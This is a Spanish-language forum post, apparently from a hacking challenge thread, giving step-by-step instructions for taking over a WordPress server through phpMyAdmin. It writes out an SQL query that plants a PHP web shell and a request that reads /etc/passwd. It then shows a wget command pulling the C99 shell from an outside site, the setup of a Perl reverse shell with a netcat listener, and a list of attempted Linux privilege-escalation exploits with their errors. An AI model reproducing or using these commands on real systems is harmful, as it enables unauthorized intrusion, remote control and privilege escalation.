Así que voy a poner como conseguir un reverse shell para los que estan perdidos...
Tenemos acceso a phpmyadmin y tenemos todos los privilegios. Podemos usar dumpfile para crear archivos y nuestro amable administrador, nos ha dado permisos de escritura en la carpeta uploads de wordpress.
Nos vamos phpmyadmin, y ejecutamos una query (pestaña SQL) simple.
Código
SELECT '<?php echo "<pre>",system($_GET["q"]),"</pre>"; die(); ?>' INTO dumpfile '/var/www/wp-content/uploads/dshell.php'
Esto creara un archivo en /uploads (dshell.php) con una shell básica que permite ejecutar comandos del sistema directamente. Ahora podemos navegar hasta ese archivo y probar..
Código
http://host.net/wp-content/uploads/dshell.php?q=cat /etc/passwd
Si todo ha ido bien, nos muestra el contenido de /etc/passwd.
Bien, ya tenemos una shell básica pero los permisos son de mysql en vez de www-data. Ademas, nuestra shell es bastante primitiva, cosa que no nos interesa.
Por eso, podríamos descargar la C99. Podríamos usar wget...
Código
http://host.net/wp-content/uploads/dshell.php?q=wget -O dshell2.php 'http://www.c99txt.net/s/c99.txt'
Esto descargara un c99.txt del c99txt.net y lo guardara como dshell2.php.. pero ademas, puesto que lo ejecutamos desde PHP, su dueño sera www-data.
Si abrimos dshell2.php se nos abrira una bonita C99. Desde aquí vamos a proceder a descargar una shell inversa. Primero tenemos que descargar la propia shell. Una bastante comun es http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
La descargamos, descomprimimos el .pl y lo vamos a editar. Tenemos que cambiar
Código
my $ip = '127.0.0.1'; my $port = 1234;
Por nuestros datos, es decir $ip por nuestra IP y $port por el puerto donde queremos que se conecte. Una vez editada, copiamos el contenido, nos vamos a la c99 y abajo en :: Make File ::, añadimos (a lo que ya hay), reverse.pl quedando así:
Código
/var/www/wp-content/uploads/reverse.pl
Le damos al boton Create, en el textbox que aparecerá, pegamos la shell y le damos al boton Save.
Ahora, abajo en :: Command execute :: a la izquierda en la casilla ponemos chmod 777 reverse.pl, esto le dara permisos globales de ejecucion/escritura/lectura a la shell.
En nuestro sistema, tenemos que hacer que netcat escuche. Si no lo tienen instalado, busquen en google como instalarlo.
Código
nc -l -v -n -p 1337
El -p 1337 es el puerto donde va a escuchar netcat por la shell. Lo ejecutamos en nuestra maquina, nos vamos a la C99 y en la casilla de comandos ejecutamos
Código
perl reverse.pl
Si todo sale bien nos devolverá algo así..
Código:
Content-Length: 0
Connection: close
Content-Type: text/html
Content-Length: 45
Connection: close
Content-Type: text/html
Sent reverse shell to NuestraIP:ElPuerto<p>
Y si miramos a la terminal.. veremos
Aquí pueden meter cualquier comando que soporte el server.. el caso es que tengan permisos xD
Por otra parte, voy a listar los exploits que he probado/intentado..
half-nelson.c - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
Es fácil de encontrar en google... el problema es que aunque compile bien, falla cuando se ejecuta en el server..
Me tira [-] symbol table not available, aborting!
jessica_biel_naked_in_my_bed.c - http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
No me llega a compilar :/
27704.c:30:22: fatal error: asm/page.h: No such file or directory
14601.c - http://1337day.com/exploit/14601
Compila y ejecuta.. pero ahí se queda :/
--all-symbols < in.map > out.S = in.map no existe ·_·
59846.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
gcc-4.6 -O2 59846.c && ./bb.out
Pero a la hora de ejecutar...
bb.out: 59846.c:51: sheep: Assertion `!close(fd)' failed.
59846-1.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-1.c
Tampoco :/
59846-2.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-2.c
Compila pero... es para Ubuntu 12.04... y a la hora de ejecutar
/usr/sbin/apache: 4: ./testaa: Permission denied | www-data/www-data -r----x--t
Se vuelve tonto..
Saludos